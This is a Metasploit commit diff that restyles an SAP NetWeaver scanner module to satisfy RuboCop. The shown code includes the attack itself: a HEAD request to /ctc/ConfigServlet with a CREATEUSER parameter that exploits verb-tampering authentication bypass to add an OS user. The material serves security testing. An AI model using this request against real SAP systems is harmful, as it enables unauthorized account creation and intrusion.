Skip to content

Commit 1b95ece

Browse files
committed
modules/auxiliary/scanner/sap: Resolve RuboCop violations
1 parent d2da920 commit 1b95ece

36 files changed

+1964
-1893
lines changed

modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb

Lines changed: 28 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -34,17 +34,20 @@ def initialize
3434
OS user management. Information about resolution should be available at SAP notes
3535
1589525 and 1624450 (authentication required).
3636
},
37-
'References' =>
38-
[
39-
[ 'URL', 'http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/' ],
40-
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf' ]
41-
],
42-
'Author' =>
43-
[
44-
'Alexandr Polyakov', # Vulnerability discovery
45-
'nmonkee' # Metasploit module
46-
],
47-
'License' => MSF_LICENSE
37+
'References' => [
38+
[ 'URL', 'http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/' ],
39+
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf' ]
40+
],
41+
'Author' => [
42+
'Alexandr Polyakov', # Vulnerability discovery
43+
'nmonkee' # Metasploit module
44+
],
45+
'License' => MSF_LICENSE,
46+
'Notes' => {
47+
'Stability' => [CRASH_SAFE],
48+
'SideEffects' => [IOC_IN_LOGS],
49+
'Reliability' => []
50+
}
4851
)
4952

5053
register_options([
@@ -55,7 +58,7 @@ def initialize
5558
])
5659
end
5760

58-
def run_host(ip)
61+
def run_host(_ip)
5962
vprint_status("#{rhost}:#{rport} - Creating User...")
6063
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USERNAME'] + ',PASSWORD=' + datastore['PASSWORD']
6164
if send_request(uri)
@@ -110,22 +113,20 @@ def report_cred(opts)
110113
end
111114

112115
def send_request(uri)
113-
begin
114-
res = send_request_cgi({
115-
'uri' => uri,
116-
'method' => 'HEAD',
117-
'ctype' => 'text/xml; charset=UTF-8',
118-
'cookie' => 'sap-usercontext=sap-language=EN'
119-
})
120-
if res and res.code == 200 and res.headers['Server'] =~ /SAP J2EE Engine/
121-
return true
122-
elsif res
123-
vprint_error("#{rhost}:#{rport} - Unexpected Response: #{res.code} #{res.message}")
124-
return false
125-
end
126-
rescue ::Rex::ConnectionError
127-
vprint_error("#{rhost}:#{rport} - Unable to connect")
116+
res = send_request_cgi({
117+
'uri' => uri,
118+
'method' => 'HEAD',
119+
'ctype' => 'text/xml; charset=UTF-8',
120+
'cookie' => 'sap-usercontext=sap-language=EN'
121+
})
122+
if res && (res.code == 200) && res.headers['Server'] =~ /SAP J2EE Engine/
123+
return true
124+
elsif res
125+
vprint_error("#{rhost}:#{rport} - Unexpected Response: #{res.code} #{res.message}")
128126
return false
129127
end
128+
rescue ::Rex::ConnectionError
129+
vprint_error("#{rhost}:#{rport} - Unable to connect")
130+
return false
130131
end
131132
end

0 commit comments

Comments
 (0)